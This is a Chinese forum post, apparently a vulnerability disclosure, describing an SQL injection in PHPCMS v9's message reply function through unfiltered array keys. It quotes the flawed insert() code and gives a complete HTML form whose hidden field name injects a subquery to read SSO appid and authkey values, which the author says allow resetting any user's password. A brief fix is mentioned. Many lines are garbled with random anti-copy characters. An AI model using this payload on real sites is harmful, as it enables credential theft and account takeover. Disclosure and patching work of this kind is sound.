|
|
简要描述:6 q% A8 i# ^: ^ k$ B0 S
$ W0 i3 \/ Z9 ]: P" x$ A7 ]$ E1 O
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
" {; o s' B# d) c! `' A+ P1 g- e" R8 R
明天再更新下一个漏洞。; W. p0 M0 f3 N' B# Y* p
详细说明:: V4 o* M: f9 T1 H4 ~" I# x0 H' M
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
1 v* Z; Z( N2 z6 M3 c4 i3 x: T; p- i+ Z! f% V2 T) l# d
$messageid = $this->message_db->insert($_POST['info'],true);7 q. L# c/ [' v
4 i( Q3 P; a; {! l
- F5 K" @7 `* _4 p- I( K$ t
insert方法是key value的,代码如下:
9 N* u; X* q1 q% \6 {2 [0 }$ z; V9 ~4 G* [# t
public function insert($data, $table, $return_insert_id = false, $replace = false) {) C; G z( ]0 b3 I* [6 n. b
if(!is_array( $data ) || $table == '' || count($data) == 0) {
& p1 _0 a3 s& n% ] Y. O% E' J E return false;
$ w, q1 d, W* f- e5 Y) \4 a4 l }
+ G5 C: W/ {7 p/ Z- o+ _/ q1 `
8 G$ B, ?7 J8 q4 \ $fielddata = array_keys($data);
' U/ c4 y7 l! @7 R0 s8 |7 o $valuedata = array_values($data);
* B* O4 k, j! X& [# D array_walk($fielddata, array($this, 'add_special_char'));" ?5 O' ]5 b6 g- [7 [
array_walk($valuedata, array($this, 'escape_string'));" L% R9 c# S9 f* G" W, `% _7 A
3 E! v3 W; {6 v& L \) c, j2 z+ I% W) v $field = implode (',', $fielddata);
7 \/ z1 [* U' } $value = implode (',', $valuedata);% P$ ]$ Z/ n [- ?& }5 k- h7 w
9 k; a. g/ ?7 h0 w6 D% } $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
& X$ h& V; n8 ~8 `0 } $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
/ x. F& b/ ~ W6 ?9 K. S# ~ $return = $this->execute($sql);+ V7 U0 f* d5 l/ `# A) P' v
return $return_insert_id ? $this->insert_id() : $return;
& O. M* P: c t- Y2 i8 i }, w) r+ @. |: |8 r5 C# F
& b' e' L9 p2 r
, ]9 @; u+ k' ?! c$ f" Q) \ S8 I8 K
嗯,很遗憾的是7 i" V H, v: w% v5 t
0 ^1 R& T7 r+ g$ Q: v2 `array_walk($fielddata, array($this, 'add_special_char'));
7 I3 ^9 y( f7 N f o, w9 R* [- w$ K: y
$ g, t4 q% y* B2 M
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
( J" }8 c, V7 Q( n9 B9 a& Z9 S
6 Z+ `4 q% o1 v% t9 U到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
$ d7 S. c( h) R( L/ g" }3 O7 o9 M$ m
漏洞证明:% O7 d y+ `/ H5 Z6 m: u0 @) _
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。) ~5 L- D9 A, C: G0 I/ R
0 O' I9 J" _ O3 m8 C& _1 h3 V' g- h g: t1 t$ H q3 Q, ?% ]
表单如下:用户名什么的得自己改一改。
+ I6 d n) C! P- ]. N N6 Y5 Q<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
6 V' d8 |8 R. p( h# F n<table width="100%" cellspacing="0" class="table_form">
7 i5 R- i) p- X4 J( T+ A' q<tr>
8 r: A4 y7 {; V5 u<th>标 题:</th>
% d* _/ q( Q2 V) c! V8 }<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
; l+ I1 @; S( z0 w* N% U$ ~" ]3 r7 z% D</tr>
. n1 X7 N. X: Z2 S1 ]% O<tr>
/ }( K9 y0 T: a- |<th>内 容:</th>4 T1 ~4 v% h; @: ]5 \. @
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
. P; ^8 p) M& q2 N& Y3 z</tr># U* w- @& A5 ~; I
<input type="hidden" name="info[replyid]" value="2" /> & A9 b) k0 z+ ~# ^
<input type="hidden" name="info[send_to_id]" value="cc" />
/ X1 b3 u2 c4 `9 Q) n y5 c% v<input type="hidden" name="info[send_from_id]" value="hh">* [9 t! j6 I; b0 Y8 A. B+ ^) h
<!-- 漏洞的利用重点在这里开始 -->4 R" k: W$ O' s X2 Z, d
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
, K6 j+ Q7 N) R5 C<!-- 漏洞的利用重点在这里结束 -->
4 S( u/ v0 i0 O" G1 z0 @8 o) \9 [<tr># `! R) Z% R& ~( W6 Y3 h$ o1 G! W# N
<th>验证码:</th>
6 ~- E0 u$ O( y4 V$ t7 `<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>3 d/ Y/ l8 Q3 v: I7 J
</tr>
2 |8 A0 x! |' T% |* e& v: ~<tr>
# C- d2 @" A' ~- p8 D6 a) e6 `<td></td>
( t: v( t3 v$ r- r7 s<td colspan="2"><label>" o; K3 @- [2 b4 c5 ?& }
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
- y0 A/ N. R% R</label></td>
# S! Q0 `/ j9 }& \! d2 W</tr>/ D/ R. n6 ~* `) z) \5 G
</table>
3 k% R2 Z$ [4 J; ?0 ?</form>( }/ v$ A8 U$ T3 Z, v2 \1 }
在add_special_char函数内对key做过滤就可以了。4 Z1 j) R y0 T
3 H5 c6 K6 I N0 Y$ ~9 k$ [! Z2 Y0 L ^* Q' o7 ^6 c
C4 H/ ~4 N; C# O1 J; u0 N: a
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|